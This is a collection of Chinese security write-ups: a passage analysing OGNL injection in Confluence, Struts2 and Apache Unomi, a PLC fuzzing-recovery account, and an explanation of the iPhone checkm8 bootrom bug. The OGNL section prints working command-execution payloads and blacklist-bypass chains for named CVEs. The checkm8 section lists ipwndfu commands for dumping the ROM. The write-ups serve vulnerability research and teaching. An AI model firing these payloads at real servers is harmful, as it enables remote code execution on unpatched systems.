3、`%`符号的用途是在标志的属性为字符串类型时，告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
4、`$`在配置文件中引用OGNL表达式。
### 集合表达式：
`new`创建实例：
new java.lang.String("testnew")
`{}`和`[]`的用法：
在OGNL中，可以用`{}`或者它的组合来创建列表、数组和map，`[]`可以获取下标元素。
创建list：`{value1,value2...}`
{1,3,5}[1]
创建数组：`new type[]{value1,value2...}`
new int[]{1,3,5}[0]
创建map：`#{key:value,key1:value1...}`
#{"name":"xiaoming","school":"tsinghua"}["school"]
除了一些符号和集合，还支持Projection投影和Selection选择等，具体可参考官方文档：<https://commons.apache.org/proper/commons-ognl/language-guide.html> 附录Operators部分。
## 0x04 命令执行调试分析
通过上面表达式的学习我们很容易能够写出Java执行命令的表达式：
@java.lang.Runtime@getRuntime().exec("calc")
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
### Ognl低版本：2.7.3测试
调试分析`Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context,
context.getRoot());`执行流程。下图是表达式对应的语法树（AST），下面的分析可以结合图片思考。
Ognl.getValue()处理表达式时，会先生成一个tree，这个tree本质是SimpleNode实例，树的每个节点都是一个ASTChain实例，ASTChain继承自SimpleNode。
当调用`node.getValue(ognlContext,
root);`时，会调用`SimpleNode.getValue()`进行处理，`SimpleNode.getValue()`会通过`SimpleNode.evaluateGetValueBody()`计算结果
public final Object getValue(OgnlContext context, Object source) throws OgnlException {
Object result = null;
if (context.getTraceEvaluations()) {
...
} else {
result = this.evaluateGetValueBody(context, source);
}
return result;
}
`SimpleNode.evaluateGetValueBody()`在计算非常量情况的结果时会调用子类的getValueBody，Ognl在处理节点时分为多种情况进行处理：[ASTChain](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTChain.html)、[ASTConst](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTConst.html)、[ASTCtor](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTCtor.html)、[ASTInstanceof](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTInstanceof.html)、[ASTList](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTList.html)、[ASTMethod](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTMethod.html)、[ASTStaticField](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTStaticField.html)、[ASTStaticMethod](https://commons.apache.org/proper/commons-ognl/apidocs/org/apache/commons/ognl/ASTStaticMethod.html)等。
首先这里最开始是一个ASTChain
`@java.lang.Runtime@getRuntime().exec("calc")`，`ASTChain.getValueBody()`在处理时，会迭代调用getValue处理子节点的结果，最终还是会调用ASTXXX方法处理节点的结果。
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object result = source;
int i = 0;
// 迭代处理字子节点的结果
for(int ilast = this._children.length - 1; i <= ilast; ++i) {
boolean handled = false;
......
if (!handled) {
// 调用子节点的getValue方法处理
result = this._children[i].getValue(context, result);
}
}
return result;
}
当Ognl计算`@java.lang.Runtime@getRuntime()`时，由于方法时静态方法会调用`ASTStaticMethod.getValueBody`。`ASTStaticMethod.getValueBody`通过`OgnlRuntime.callStaticMethod`处理方法的调用。
protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
Object[] args = OgnlRuntime.getObjectArrayPool().create(this.jjtGetNumChildren());
Object root = context.getRoot();
try {
int i = 0;
for(int icount = args.length; i < icount; ++i) {
args[i] = this._children[i].getValue(context, root);
}
Object var10 = OgnlRuntime.callStaticMethod(context, this._className, this._methodName, args);
return var10;
} finally {
OgnlRuntime.getObjectArrayPool().recycle(args);
}
}
通过`OgnlRuntime.callAppropriateMethod()`处理方法调用，最终会调用`Method.invoke()`进行方法调用并返回值。
public static Object callAppropriateMethod(OgnlContext context, Object source, Object target, String methodName, String propertyName, List methods, Object[] args) throws MethodFailedException {
Throwable reason = null;
Object[] actualArgs = _objectArrayPool.create(args.length);
try {
Method method = getAppropriateMethod(context, source, target, propertyName, methods, args, actualArgs);
int i;
......
if (target != null) {
className = target.getClass().getName() + ".";
}
......
for(int ilast = args.length - 1; i <= ilast; ++i) {
......
}
throw new NoSuchMethodException(className + methodName + "(" + buffer + ")");
}
......
Object var26 = invokeMethod(target, method, convertedArgs);
return var26;
} catch (NoSuchMethodException var21) {
......
}
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
......
Object result;
if (syncInvoke) {
......
result = method.invoke(target, argsArray);
i......
}
} else {
......
result = method.invoke(target, argsArray);
}
return result;
}
同样的，Ognl计算`exec("calc")`时，调用`ASTMethod.getValueBody`，最终也是在`OgnlRuntime.callAppropriateMethod()`中调用`Method.invoke()`处理。
### Ognl 3.2.18 测试
Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测，会导致上面的实验失败，提示`cannot be called from within
OGNL invokeMethod() under stricter invocation
mode`，在使用StricterInvocation模式下不允许执行`java.lang.Runtime.getRuntime()`。
对比上面2.7.3版本，在`OgnlRuntime.invokeMethod`中，添加了黑名单判断，当命中黑名单会出现上图的报错：`ClassResolver`、`MethodAccessor`、`MemberAccess`、`OgnlContext`、`Runtime`、`ClassLoader`、`ProcessBuilder`等。
public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
if (_useStricterInvocation) {
Class methodDeclaringClass = method.getDeclaringClass();
if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
}
}
......
result = invokeMethodInsideSandbox(target, method, argsArray);
}
return result;
}
## 0x05 近期三个漏洞的分析
在CVE搜索`OGNL`，前三个漏洞分别是Confluence的CVE-2021-26084、Struts2的CVE-2020-17530和Apache
Unomi的CVE-2020-13942，本次对这三个漏洞进行分析。
### Confluence CVE-2021-26084
#### velocity模板引擎语法：
1、基本符号
"#"标识velocity的脚本语句
"$"获取一个对象或变量
"{}"用来标识velocity变量
"!"对变量为null的情况在页面显示为空白字符串
用双引号还是单引号表示，默认“双引号，可以在stringliterals.interpolate=false改变默认处理方式
2、示例：
## 1、变量引用
$name
## 2、语句/指令-变量赋值
#($name="test")
#set($value= 123)
## 3、#include和#parse的作用都是引入本地文件。#include引入的文件内容不会被velocity模板引擎解析。#parse引入的文件内容，将解析其中的velocity并交给模板，相当于把引入的文件内容copy到文件中。
#parse ( "/template/includes/actionerrors.vm" )
#include ( "/template/includes/actionerrors.vm" )
更多语法可参考：<http://velocity.apache.org/engine/1.7/user-guide.html>
#### 漏洞分析：
confluence处理velocity模板，将velocity语法转为字符串输出到页面，其中涉及到的一些表达式计算会调用`ognl.getValue()`处理。confluence处理vm文件，首先将vm内容转为AST语法树，然后分别处理每一个节点的内容，将每个节点的内容拼接输出。
Confluence的Velocity模板引擎处理vm文件流程主要在`com.opensymphony.webwork.dispatcher.VelocityResult.doExecute()`，首先获取OgnlValueStack、context上下文、getTemplate获取vm文件，接下来用`merge`处理合并页面结果，将结果输出给writer。
merge调用`((SimpleNode)this.data).render(ica,
writer);`方法处理，先将vm文件的内容转为AST语法树，便于计算每个节点的结果。
本次漏洞涉及的`createpage-entervariables.vm`文件经过解析后的AST语法树如下图，每一个ASTXXX处理程序都继承自SimpleNode.
queryString在第7个节点，归属applyDecorator指令，程序处理时将applyDecorator又分为35个节点，queryString在`[#tag],
[ ], [(], ["Hidden"], [ ], ["name='queryString'"], [ ],
["value='$!queryString'"], [)]`节点中处理，我们重点看这个处理过程。
`[#tag], [ ], [(], ["Hidden"], [ ], ["name='queryString'"], [ ],
["value='$!queryString'"],
[)]`节点属于AbstractTagDirective，会调用`AbstractTagDirective.render()`。
`AbstractTagDirective.render()`首先调用`applyAttributes(contextAdapter, node,
object)`处理参数，其中`AbstractTagDirective.createPropertyMap()`创建参数Map，保存property键值对。
保存后`AbstractTagDirective.render()`调用`AbstractTagDirective.processTag()`处理tag
通过`AbstractTagDirective.processTag()`最终会调用`AbstractUITag.doEndTag()`，doEndTag调用`evaluateParams()`处理参数。
`AbstractUITag.evaluateParams`通过`addParameter()`添加name和value，value的值通过`findValue()`获取具体的值。
调用`getValueFinder().findValue(expr,
toType)`时会先调用`SafeExpressionUtil.isSafeExpression()`进行安全检查，而`isSafeExpression()`会通过`containsUnsafeExpression()`处理，这正是本次漏洞的关键之处。
`containsUnsafeExpression()`代码如下，递归检查节点及其子节点是否包含黑名单。
private static boolean containsUnsafeExpression(Node node) {
String nodeClassName = node.getClass().getName();
if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
return true;
} else if ("ognl.ASTProperty".equals(nodeClassName) && UNSAFE_PROPERTY_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTMethod".equals(nodeClassName) && UNSAFE_METHOD_NAMES.contains(node.toString())) {
return true;
} else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
return true;
} else {
for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
Node childNode = node.jjtGetChild(i);
if (childNode != null && containsUnsafeExpression(childNode)) {
return true;
}
}
return false;
}
}
黑名单包括静态方法、静态属性、构造方法、class、classLocader、getClass()、getClassLoader()、_memberAccess、context、request等。
static {
Set set = new HashSet();
set.add("ognl.ASTStaticMethod");
set.add("ognl.ASTStaticField");
set.add("ognl.ASTCtor");
set.add("ognl.ASTAssign");
UNSAFE_NODE_TYPES = Collections.unmodifiableSet(set);
set = new HashSet();
set.add("class");
set.add("classLoader");
UNSAFE_PROPERTY_NAMES = Collections.unmodifiableSet(set);
set = new HashSet();
set.add("getClass()");
set.add("getClassLoader()");
UNSAFE_METHOD_NAMES = Collections.unmodifiableSet(set);
set = new HashSet();
set.add("#_memberAccess");
set.add("#context");
set.add("#request");
set.add("#parameters");
set.add("#session");
set.add("#application");
UNSAFE_VARIABLE_NAMES = Collections.unmodifiableSet(set);
}
`UNSAFE_PROPERTY_NAMES`有`class`和`classLoader`两个元素，不包含`["class"]`，而`["class"]`子节点`"class"`属于ASTConst不进行检查，因此可绕过，对于方法黑名单，ASTMethod仅禁止`getClass()`和`getClassLoader()`，`forName`、`getMethod`、`invoke`等不在禁止范围。
特别说明下， **confluence 使用的ognl版本是2.6.5，属于较早版本，没有在invokeMethod中添加黑名单进行安全检查**
，因此payload在ognl中可以顺利执行。（可参考0x04-Ognl 3.2.18 测试）
另外，除了`queryString`，vm中还有两个看起来可利用的参数：
#tag ("Hidden" "name='queryString'" "value='$!queryString'")
#tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
#tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
经过尝试`linkCreation`同样也可以利用，跟`queryString`一样的：
而`templateId`不能利用，因为该参数实际需要的是int，后面强制转换会报错。
### Struts2 CVE-2020-17530（S2-061）
Struts2的ognl RCE漏洞主要是添加黑名单来修复和绕过黑名单。
#### Struts2防护机制
如果需要绕过Struts2的历史ognl rce的修复，需要考虑三点：
struts-defult.xml的struts.excludedClasses和struts.excludedPackageNames部分
com.opensymphony.xwork2.ognl.SecurityMemberAccess
Ognl.OgnlRuntime.invokeMethod()中的黑名单
struts2在`struts-defult.xml`文件中加入了一些类和包作为黑名单：
<!-- s2-061修复前的黑名单 -->
<constant name="struts.excludedClasses"
value="
java.lang.Object,
java.lang.Runtime,
java.lang.System,
java.lang.Class,
java.lang.ClassLoader,
java.lang.Shutdown,
java.lang.ProcessBuilder,
sun.misc.Unsafe,
com.opensymphony.xwork2.ActionContext" />
<constant name="struts.excludedPackageNames"
value="
ognl.,
java.io.,
java.net.,
java.nio.,
javax.,
freemarker.core.,
freemarker.template.,
freemarker.ext.jsp.,
freemarker.ext.rhino.,
sun.misc.,
sun.reflect.,
javassist.,
org.apache.velocity.,
org.objectweb.asm.,
org.springframework.context.,
com.opensymphony.xwork2.inject.,
com.opensymphony.xwork2.ognl.,
com.opensymphony.xwork2.security.,
com.opensymphony.xwork2.util." />
构造ValueStack时，在`com.opensymphony.xwork2.ognl.OgnlValueStack.setOgnlUtil()`中会设置`SecurityMemberAccess`，将`struts-defult.xml`的黑名单加载进去
我调试分析时用的struts2版本是2.5.25，该版本中用到的ognl版本是3.1.28，该版本的`OgnlRuntime.invokeMethod`同样做了一些黑名单限制（同“0x04-Ognl
3.2.18 测试“）。
#### 漏洞分析：
payload：
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#access=#bean.get("memberAccess")).(#bean.setBean(#access)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#cmd={'whoami'}).(#execute.exec(#cmd))}
根据[Struts2 S2-061漏洞分析(CVE-2020-17530)](https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g)文章进行调试分析，总结s2-061绕过s2-059的思路主要有以下几点：
1、`#application` 中的
`org.apache.tomcat.InstanceManager.newInstance()`可以实例化无参构造的类；
2、可以通过`#attr`和`com.opensymphony.xwork2.util.ValueStack.ValueStack`获取valuestack。`org.apache.commons.collections.BeanMap`的setBean方法设置为valuestack，这样get方法传入`context`就可以调用`com.opensymphony.xwork2.ognl.OgnlValueStack.getContext()`，然后将获取的context同样用setBean方法进行设置，get传入`memberAccess`进行获取；（关于ValueStack、OgnlContext、memberAccess和SecurityMemberAccess的关系推荐阅读Lucifaer大佬的[浅析OGNL攻防史](https://paper.seebug.org/794/#22-valuestack)进行了解）
3、获取到的memberAccess实际就是`com.opensymphony.xwork2.ognl.SecurityMemberAccess`，再利用BeanMap的put方法将SecurityMemberAccess`excludedClasses`和`excludedPackageNames`置空，这样子就绕过了struts2的黑名单；
4、需要注意第三点只是绕过了struts2黑名单，ognl黑名单没有被绕过，避开ognl黑名单，可以利用struts2的黑名单，其中`freemarker.template.utility.Execute`存在无参构造，`freemarker.template.utility.Execute.exec()`
方法可执行命令。
### Apache Unomi CVE-2020-13942
Apache Unomi CVE-2020-13942包括OGNL RCE和MVEL RCE，本文仅针对OGNL进行分析。
对比1.5.1和1.5.2版本，修复该漏洞的提交[Improve scripting security
([#179])](https://github.com/apache/unomi/commit/0b81ba35dd3c3c2e0a92ce06592b3df90571eced)中主要对`org.apache.unomi.plugins.baseplugin.conditions.PropertyConditionEvaluator.java`、`SecureFilteringClassLoader.java`等进行了修改，并且增加了`ExpressionFilter.java`来检查表达式。
#### 漏洞分析：
unomi处理parameterValues主要在`org.apache.unomi.plugins.baseplugin.conditions.PropertyConditionEvaluator`，`getPropertyValue()`获取请求的参数值。在该方法中默认会先通过`getHardcodedPropertyValue()`处理。
`getHardcodedPropertyValue()`中当`propertyName`不等于`segments`、`consents`、`properties.XXX`等，会返回`NOT_OPTIMIZED`，然后再通过`getOGNLPropertyValue()`处理，也就是说`propertyName`未遵照预设的结果时会按照ognl表达式处理。
在`getOGNLPropertyValue()`中，通过`accessor.get(ognlContext,
item)`处理，这里`accessor`就是ASTChain。
那么最终会调用`ASTChain.getValue()`处理表达式。
unomi
1.5.1用的ognl版本是3.2.14，该版本在`OgnlRuntime.invokeMethod`中同样存在黑名单判断。只要表达式绕过Ognl的黑名单就可以达到目的。
我们来看下表达式：
(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))
整个的思路是用Class和Method以及`Method.invoke`来绕过黑名单。
`this.getClass()`是一个Class对象，`Class`没有在黑名单中，因此上面`Class.forName()`可以执行，同理`Class.forName()`会得到一个Class对象，因此`runtimeclass.getDeclaredMethods()`可以正常执行，并且返回Runtime的方法数组，`Method`没有在黑名单，遍历方法名获取到`getRuntime`的Method对象(不可以直接`getDeclaredMethod("getRuntime")`会报错)，利用invoke执行`getRuntime`，同理获取`exec`并执行。
最后顺便提一下unomi小于1.5.1版本存在CVE-2020-11975，查了下1.5.0使用的ognl版本是3.2.11，该版本`OgnlRuntime.invokeMethod`没有黑名单，这也是Runtime的payload`(#[email protected]@getRuntime()).(#r.exec(\"calc\"))`可以直接运行的原因。
## 0x06 思考与总结
上面提到的几个OGNL漏洞的修复基本都是采用黑名单来限制OGNL注入，开发人员在使用ognl时，除了ognl需要注意使用较高版本，还要注意添加额外的防护措施。当然，使用黑名单的防护方式也许一时可以防住OGNL的RCE，但总有被绕过的风险，另外除了命令执行，文件操作、SSRF也不是没有可能。
## 0x07 参考链接：
https://commons.apache.org/proper/commons-ognl/apidocs/index.html
https://stackoverflow.com/questions/2046761/what-is-object-graph-in-java
https://developer.aliyun.com/article/135737
https://juejin.cn/post/6844904013683507207
https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html
https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
https://xz.aliyun.com/t/8135
https://www.cnblogs.com/yangzhinian/p/4885973.html
https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
http://velocity.apache.org/engine/1.7/user-guide.html
http://unomi.apache.org/manual/latest/index.html#_javascript
https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md | 社区文章 |
# 记一次PLC故障恢复经历
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Nonattack
## 1、前言
近期对Schneider UMAS (Unified Messaging Application Services)
协议做了一些基本研究，关于协议分析的内容详见文章：<https://www.anquanke.com/post/id/231884>，基于对协议的掌握，随后开发了一些简单的Fuzz程序对PLC开展Fuzzing测试，测试过程中很快遇到了棘手问题：PLC罢工了。从安全研究的视角来看，这是一件好事，同时也是一件坏事，好事预示着此处有将有漏洞出没，但前提得先把PLC故障恢复了，然后再精准复现出该故障现象。故障现场如下所示：
您的浏览器不支持video标签
## 2、恢复过程
PLC进入故障状态之后的具体情况如下：1、组态软件无法连接PLC；2、上位机无法ping通PLC；3、尝试万能的断电/上电操作，依然无法连接PLC，各状态指示灯不断闪烁（CPU/DIDO/AIAO模块的ERR灯闪烁、CARD
ERR灯常亮）。根据经验判断原因基本有两种：1、PLC内部的基础配置/程序已经丢失从而进入异常状态；2、PLC固件运行出错。再次走读了一下测试程序：由于Fuzzing测试序主要是对UMAS功能码进行的，未对固件作删除相关的毁灭性操作，因此测试导致PLC配置出错进而运行异常的概率比较大，固解决问题的方向先集中到恢复PLC配置。
有了方向接下来便是寻求处理方法的过程，通过查找，使用PLC的mini
USB接口与PLC建立通信连接，将配置程序重新写入PLC当中是一个常用方法。刚好手头有一根USB线，插入CPU模块上的USB端口，连接上位机：EcoStruxure
Contol Expert -> PLC ->设置地址：
好事多磨，问题总是没那么容易就解决了：经过反复尝试，软件始终无法与PLC建立连接。继续查阅资料，同时审视一下当前环境：当前组态软件EcoStruxure
Contol
Expert安装在虚拟机当中，会不会是软件的版本太低了呢？是不是虚拟机识别USB存在问题呢？再或者，是不是USB线是有问题的呢……经过一通操作，发现了组态软件的一个驱动管理组件：
经过尝试结果还是仍然无法连接上……但是此处指向了PLC USER
Driver,就是说这个驱动对于识别PLC至关重要，于是有了解决问题的方向，为了排除软件版本过低和虚拟机的干扰因素，于是选择了关闭虚拟机，下载新版本的EcoStruxure
Contol Expert V14.0软件在物理机中安装，组态软件比较大，下载和安装的过程比较费时，此处需要等待大约1小时……
使用新版软件再次连接PLC USB,却还是无法识别、无法连接……难道这是一个特例的问题？难道PLC USER Driver的版本仍然有问题？继续搜索查找：
还好没放弃，找到了一个时间最近的可用PLC USER Driver套件，下载和当前所使用的版本对比一下：
果然PLC USER Driver还不够新版，重新安装单独更新驱动，这一次终于连接成功：
成功识别PLC并与组态软件建立连接，从软件底部提示可以看到：PLC中无配置、无上载信息，就是说PLC内部的配置程序被刷掉，因此进入故障模式。连接成功后，上载一个基本程序，PLC恢复正常运行。
对于故障恢复，还有另外一种终极解决方法：将PLC的通信模块拆解下来，使用拨码的方式恢复IP地址，把模块背后下面的拨码开关先拨到E（蓝色十字有一处为箭头，箭头指向E），之后IP地址将变成默认的84.xx.xx.xx，xx是指mac地址的后三位转换成10进制的数。有了IP地址，便可使用组态软件继续连接PLC进行其他配置了：
## 3、Fuzzing定位
由于运行了多个fuzz程序，发送了大量数据包，不经意的触发了一个问题，如何找到触发问题的那个数据包，这又将是一个费事的问题，努力回忆做过的操作，然后尝试去再做一遍……估计是运气比较好，故障现象再次复现了，最终分析定位找到了可稳定触发现象的数据包，至此成功获取到一个致使目标设备拒绝服务的洞，也掌握了故障恢复的技巧。至于故障的详细技术分析，就留待Schneider安全响应团队去做了。 | 社区文章 |
**作者：Gh0u1L5**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！
投稿邮箱：[email protected] **
9月27号，黑客 ani0mX
在推特上公布了苹果公司的“史诗级安全漏洞”。该漏洞的影响范围极其广泛，囊括了绝大部分型号的苹果手机、平板、手表及智能电视等。而且由于它是一个“半硬件层”的漏洞，所以苹果永远无法通过软件更新修补这个漏洞。
漏洞发布当天，我在推特上看到另一名黑客 littlelailo 公布了一段30多行的草稿，简略聊了聊 checkm8
的攻击原理。我以为接下来很快国内安全社区也会有人放出更多细节，然而等了很久也没等到，索性自己开篇文章聊聊吧。我希望这篇文章：
1. 能够让读者对 iPhone 启动机制有简单的了解。
2. 能够让读者初步掌握如何逆向 iPhone 的 Secure ROM 。
3. 能够讲明白 checkm8 漏洞攻击的基本思路和相关技术。
只要不以盈利为目的，任何个人或组织均可在注明出处的情况下自由转载，转载前通过评论区/私信简单告知本人即可。
* * *
## 0x00 iOS 安全启动机制简介
_已熟知 iOS 安全启动链与 Secure ROM 防护机制的读者可直接跳过本节。_
为了保证 iOS 系统的代码不被恶意篡改，苹果公司使用了一套名为 **安全启动链（Secure Boot Chain）**
的技术。他们将开机过程分为四到五个阶段，每个阶段负责检查下个阶段的代码，如果检查出任何问题，比如签名错误、安全模式不符，就立马中止开机。
在一些过时的资料里， iPhone 的开机过程分为以下五个阶段：
虽然这五个阶段被人引用过很多次，但其实它已经错了三年多了。从 A10
处理器以来，苹果就已经放弃了双阶段加载，也就是说上图的那个`LLB`已经被删掉了，更新后的启动流程如下：
这四个阶段从左到右分别是：
* **ROM / Secure ROM** ：开机启动时执行的第一段程序，负责检查并加载接下来的 iBoot 。
* **iBoot** ：苹果开发的引导程序，负责检查并加载系统内核。
* **Kernel** ：iOS 系统内核。
* **OS** ：iOS 系统的用户界面、后台服务等非核心组件。
**Secure ROM 作为系统启动时执行的第一段程序，扮演着整个安全启动链技术的信任基石。**
一旦攻破了它，接下来所有阶段的代码都能随意篡改，因此苹果公司下了很大功夫来保护这段 ROM 程序：
**封杀写权限** ：这段程序烧写在 CPU 的硅片内部，无法拆解，无法替换。在工厂里一次性烧录完之后，就连苹果自己都没办法改动它。
**封杀读权限**
：这段程序完成工作后，会直接把自己所在的储存器锁掉，再没有任何办法能读取它。也就是说，启动之后哪怕你攻陷了整个系统，也读不到这段程序的内容。
苹果的想法很单纯——如果一段程序黑客读都读不到，改也改不了，那么这段程序应该就会很安全。等到文章结尾的时候，我会再花点笔墨聊聊这个想法为什么不现实。但现在，苹果的这些安全措施确实给我们造成了一点麻烦：我们连程序内容都看不到，怎么分析程序漏洞？
* * *
## 0x01 抓取 Secure ROM
刚刚我们提到， Secure ROM 完成工作后，才会把储存器锁住。换句话说，只要 Secure ROM 还没完成工作，我们就有机会从内存里读到它的内容。
如何抓住这个机会呢？这就轮到 checkm8 出场了。
checkm8 是一个任意代码执行漏洞，允许我们在 ROM 运行期间植入 payload。更贴心的是， ani0mX 还在自己发布的
[exploit](https://github.com/axi0mX/ipwndfu) 里附上了一段高质量的 payload 。允许我们通过 USB 给
payload 发送指令，执行各种高权限的操作，比如：
* `./ipwndfu --dump-rom`： **将 iPhone 的 Secure ROM 直接从内存里抓取出来，保存为文件。**
* `./ipwndfu --demote`：启用 JTAG 模式。配合一条5800多元的 Bonobo 线，你就可以用 gdb 随意调试 iPhone 内核了。如果公司或者实验室给报销的话，我真的强烈建议买一条（笑）。
另外， axi0mX 的 payload 里还有一个 execute 命令非常好用，但是没有放出命令行接口，只能自己写 Python
代码来调用。这个命令允许你调用内存里存在的任意函数，能传递参数，还能拿到返回值。但他的代码有个问题，传第8个参数的时候会传成第7个，用之前需要自己动手改一下。
好了，书归正传， **在 checkm8 的帮助下，窃取苹果公司层层保护的代码仅需三步：**
1. 使用网上搜到的按键组合，把 iPhone 手机重启到 DFU 模式（固件升级模式）。
2. 执行`./ipwndfu -p`命令植入 payload，如果显示漏洞利用失败的话就多试几次。
3. 执行`./ipwndfu --dump-rom`命令读取 ROM 并保存到当前文件夹下，完工。
这套操作，真的，猴子训练一下都能做。checkm8 光靠这一个功能，我觉得就无愧于“史诗级”这个评价了。
成功拿到 ROM 的二进制机器码之后，接下来扔给反编译器就可以了。
苹果的 CPU 从 A7 开始都是 AArch64 架构， little-endian 字序， ROM
的起始地址都是`0x100000000`，设定好这三项之后，反编译器就能直出正确的汇编代码了。
除了反编译得到的这些代码外，网上还有一些开源的 iBoot 项目，以及苹果某实习生泄露出来的一份四五年前的旧版 Secure ROM
代码，这些材料对我们的逆向分析都非常有帮助。
但是，由于发布这些泄露代码铁定会吃一张苹果的律师函，所以我不会在这篇文章里引用或发布那份泄露代码，有需要的读者还请自己动手搜索一下。
最后要说的是，刚才那套轻松的招数最多只能用到 iPhone X 上，从 Xs / Xr 开始 checkm8
漏洞就没法用了。对于这些手机，目前我们也没有什么好办法，只能用黑盒测试、旧 ROM 代码和 iBoot 代码这三样凑活着挖漏洞。
iBoot 的代码能用来挖 ROM 的漏洞，是因为 iBoot 和 ROM 有一部分功能重叠，所以代码也有重叠。比如这次的 checkm8 漏洞，就是
ani0mX 在分析一个 iBoot 补丁的时候发现的。
至于解密 iBoot 的具体方法，因为好像有点偏题了，所以将来有机会的话再开篇文章讲讲吧。有兴趣的读者可以先自行了解一下 iOS 的 GID
Key、IMG3/IMG4、KBAG 这几个概念。
* * *
## 0x02 漏洞原理解析
我前文中提到过，利用 checkm8 前需要先把手机重启到 DFU 模式，因为这次的漏洞正是出在这个 DFU 模式上。
苹果的 DFU 模式大致相当于一个“应急启动模式”，重启到这个模式后，用户可以用 USB
传入一个临时系统，用临时系统开机启动。（当然，这个临时系统必须是苹果官方系统。）
基于 littlelailo 的草稿、 iPhone 8 的逆向结果，以及一些“开源”的 iBoot 项目，我整理出了 DFU 应急启动的八个步骤：
1. 手机以 DFU 模式开机后，负责处理 USB 的主模块会先调用`usb_dfu_init()`函数，初始化 DFU 子模块。初始化过程主要做两件事：
1. 分配一块 2048 字节的内存作为缓冲区，我们叫它`io_buffer`。
2. 把 DFU 事件处理函数提交给 USB 驱动 ，等待用户发来的 DFU 请求。
2. 当用户想要加载临时系统时，会先发送一个`DFU_DNLOAD`请求。主模块将它转发给 DFU 事件处理函数。
3. DFU 检查这个请求，如果用户想要发来一段长度为`wLength`的数据，那么 DFU 将会检查`wLength`是否超过 2048 字节。
* 超过的话，发送一个 STALL 包掐断 USB 会话，向主模块返回-1。
* 不超过的话，用指针将 **`io_buffer`传递给一个全局变量** ，向主模块返回`wLength`。
4. 主模块把`wLength`等信息记录到另一个全局变量中，为接下来接收数据做好准备。
5. 用户接下来将数据陆续发送给主模块，主模块将这些数据复制到`io_buffer`中。等到所有的数据都接收完毕后，主模块通知 DFU 模块处理这些数据。
6. DFU 模块拿到`io_buffer`，确认里面数据的长度确实是用户刚开始允诺的`wLength`，然后将这些数据复制到临时系统的加载地址，比如`0x18001C000`（iPhone 8/X）。
7. 缓冲区数据处理完毕之后，主模块 **清空之前的所有全局变量** ，准备接受下一个 USB 请求。
8. 当用户分批发送完临时系统的所有内容后，会发送一个`DFU_DONE`请求。主模块将它转发给 DFU ，通知 DFU 开机，于是 DFU 模块 **释放掉`io_buffer`** ，尝试开机。如果开机失败，再次执行`usb_dfu_init()`，开始第二轮 DFU 启动。
有了我加黑标粗的几个关键点，有人也许已经能看出来这次漏洞的原理了。
第3步 DFU 将`io_buffer`地址记录到了一个全局变量里，如果用户接着发送一个`DFU_DONE`请求的话，5~7步就会被直接跳过。第8步 DFU
释放掉`io_buffer`这块内存，开机失败跳回到第1步，开始第二轮 DFU 启动。
